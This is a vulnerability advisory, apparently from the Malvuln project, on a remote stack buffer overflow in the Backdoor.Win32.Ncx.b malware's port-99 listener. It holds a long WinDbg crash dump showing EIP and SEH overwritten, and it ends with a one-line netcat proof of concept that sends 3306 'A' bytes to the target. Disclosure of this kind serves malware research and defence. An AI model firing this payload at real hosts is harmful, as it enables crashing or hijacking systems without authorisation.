Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/885e74a43b4f7caec3cfb4dba0787de4.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Ncx.b
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 99. Third-party attackers who can reach an infected system can send a large junk payload and trigger a classic stack buffer overflow overwriting the EIP, ECX registers and structured exception handler (SEH).
Type: PE32
MD5: 885e74a43b4f7caec3cfb4dba0787de4
Vuln ID: MVID-2021-0388
Dropped files: 
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 11/04/2021

Memory Dump:
(ec.950): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000
eip=41414141 esp=03101660 ebp=03101680 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

0:003> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.Ncx.b.885e74a43b4f7caec3cfb4dba0787de4.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Ncx.b.885e74a43b4f7caec3cfb4dba0787de4.exe

FAULTING_IP: 
Backdoor_Win32_Ncx_b_885e74a43b4f7caec3cfb4dba0787de4+1555
00401555 88443418        mov     byte ptr [esp+esi+18h],al

EXCEPTION_RECORD:  031ff9f4 -- (.exr 0x31ff9f4)
ExceptionAddress: 00401555 (Backdoor_Win32_Ncx_b_885e74a43b4f7caec3cfb4dba0787de4+0x00001555)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 03200000
Attempt to write to address 03200000

PROCESS_NAME:  Backdoor.Win32.Ncx.b.885e74a43b4f7caec3cfb4dba0787de4.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141 

FOLLOWUP_IP: 
Backdoor_Win32_Ncx_b_885e74a43b4f7caec3cfb4dba0787de4+1555
00401555 88443418        mov     byte ptr [esp+esi+18h],al

FAILED_INSTRUCTION_ADDRESS: 
+1555
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  029c0b40
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  031ffa44 -- (.cxr 0x31ffa44)
eax=00000041 ebx=7745e250 ecx=4756178e edx=031ffdc4 esi=00000144 edi=029c0b40
eip=00401555 esp=031ffea4 ebp=740a1e90 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
Backdoor_Win32_Ncx_b_885e74a43b4f7caec3cfb4dba0787de4+0x1555:
00401555 88443418        mov     byte ptr [esp+esi+18h],al  ss:002b:03200000=??
Resetting default scope

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 029c0b40 to 00401555

FRAME_ONE_INVALID: 1

STACK_TEXT:  
031ffea4 00401555 backdoor_win32_ncx_b+0x1555
031ffea8 029c0b40 unknown!unknown+0x0


STACK_COMMAND:  .cxr 00000000031FFA44 ; kb ; dds 31ffea4 ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  backdoor_win32_ncx_b+1555

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Ncx_b_885e74a43b4f7caec3cfb4dba0787de4

IMAGE_NAME:  Backdoor.Win32.Ncx.b.885e74a43b4f7caec3cfb4dba0787de4.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  34ae8eb9

BUCKET_ID:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_ncx_b+1555

FAILURE_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Ncx.b.885e74a43b4f7caec3cfb4dba0787de4.exe!Unknown

Followup: MachineOwner
---------

0:003> !exchain
031ff904: ntdll!ExecuteHandler2+44 (77729d70)
031fffcc: 41414141
Invalid exception stack at 41414141


Exploit/PoC:
python -c "print('A'*3306)" | nc64.exe x.x.x.x 99
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.


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